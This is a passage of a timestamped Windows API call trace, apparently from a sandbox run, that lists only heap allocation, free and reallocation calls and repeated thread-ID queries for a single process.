(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c820b8 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839c0 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c821f0 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82280 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82088 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a40 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x33de538 [0081.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82298 [0081.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16) returned 0x3183aa0 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82298 | out: hHeap=0x2ad0000) returned 1 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82088 | out: hHeap=0x2ad0000) returned 1 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82280 | out: hHeap=0x2ad0000) returned 1 [0081.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c821f0 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c820b8 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a00 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82148 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82070 | out: hHeap=0x2ad0000) returned 1 [0081.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x2c821f0 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x2c82280 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838a0 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82298 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838c0 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82070 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82088 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82028 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x31839c0 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x33de608 [0081.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c820b8 [0081.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82220 | out: hHeap=0x2ad0000) returned 1 [0081.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c820d0 | out: hHeap=0x2ad0000) returned 1 [0081.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0081.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839e0 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a00 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82220 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c820d0 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20138 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a20 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82148 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a40 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82448 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c822f8 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82460 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d80 [0081.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x33de538 [0081.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82850 [0081.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16) returned 0x3183c60 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82850 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82460 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183d80 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c822f8 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82448 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82148 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82070 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82298 | out: hHeap=0x2ad0000) returned 1 [0081.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0081.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x31838a0 [0081.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x2c82070 [0081.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x49) returned 0x34a2a38 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a20 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82148 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82298 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c822f8 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a40 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x33de618 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4a) returned 0x34a2a90 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82448 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82460 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x31838c0 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x33de538 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41) returned 0x31d6618 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x178) returned 0x3027250 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183dc0 [0081.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x2c826b8 [0081.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de548 [0081.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a19250 [0081.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82700 [0081.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10c) returned 0x3625010 [0081.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82700 | out: hHeap=0x2ad0000) returned 1 [0081.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6c78 | out: hHeap=0x2ad0000) returned 1 [0081.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82010 | out: hHeap=0x2ad0000) returned 1 [0081.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de578 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.561] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] GetCurrentThreadId () returned 0x9b0 [0081.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82790 | out: hHeap=0x2ad0000) returned 1 [0081.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19658 [0081.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a468 [0081.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82610 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e20 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183de0 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82808 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c828e0 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de638 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c826d0 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c826e8 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183fe0 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ea0 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82700 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82850 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82868 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de668 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82658 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de678 [0081.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82670 [0081.564] GetCurrentThreadId () returned 0x9b0 [0081.564] GetCurrentThreadId () returned 0x9b0 [0081.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c828e0 | out: hHeap=0x2ad0000) returned 1 [0081.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82808 | out: hHeap=0x2ad0000) returned 1 [0081.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183de0 | out: hHeap=0x2ad0000) returned 1 [0081.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e20 | out: hHeap=0x2ad0000) returned 1 [0081.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183d20 [0081.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183d40 [0081.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82820 [0081.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c828e0 [0081.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x84) returned 0x2c919d0 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183de0 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82808 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e80 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82898 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c828b0 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82628 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d80 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ab4718 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ab4728 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ec0 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c829a0 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a30 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a78 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183e00 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b90b8 [0081.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf) returned 0x2c829e8 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e20 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a60 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c829b8 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a90 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d00 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8f18 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f) returned 0x3262fe0 [0081.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5f) returned 0x31de8f0 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82628 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183d80 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c828b0 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82898 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e80 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829e8 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a78 | out: hHeap=0x2ad0000) returned 1 [0081.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b90b8 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e00 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a30 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829a0 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ec0 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a90 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b8f18 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183d00 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829b8 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a60 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e20 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82808 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183de0 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82730 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183da0 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82790 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e40 | out: hHeap=0x2ad0000) returned 1 [0081.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82760 | out: hHeap=0x2ad0000) returned 1 [0081.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c80 | out: hHeap=0x2ad0000) returned 1 [0081.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c827c0 | out: hHeap=0x2ad0000) returned 1 [0081.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183cc0 | out: hHeap=0x2ad0000) returned 1 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x2c82808 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x2c82898 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c80 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82730 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e00 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82760 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82628 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82790 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183de0 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ab4718 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17) returned 0x3183ca0 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e80 [0081.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c828b0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c827c0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82af0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d80 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ab4728 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf) returned 0x2c82b68 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ec0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b20 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82910 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c829e8 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183cc0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b90a8 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b) returned 0x3262d08 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ee0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c829b8 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b50 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82ac0 [0081.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183e20 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b9008 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41) returned 0x31d6118 [0081.570] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c82730, Size=0x20) returned 0x3028328 [0081.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82850 | out: hHeap=0x2ad0000) returned 1 [0081.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82700 | out: hHeap=0x2ad0000) returned 1 [0081.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ea0 | out: hHeap=0x2ad0000) returned 1 [0081.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fe0 | out: hHeap=0x2ad0000) returned 1 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183f80 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183f00 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82850 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82700 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3227ac0 [0081.570] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c82850, Size=0x20) returned 0x30283f0 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183da0 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82730 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183e40 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82850 [0081.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82ad8 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c829d0 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d00 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8f08 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17) returned 0x3183ea0 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183f60 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82958 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b38 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82bb0 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183fa0 [0081.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8f78 [0081.571] RtlAllocateHeap 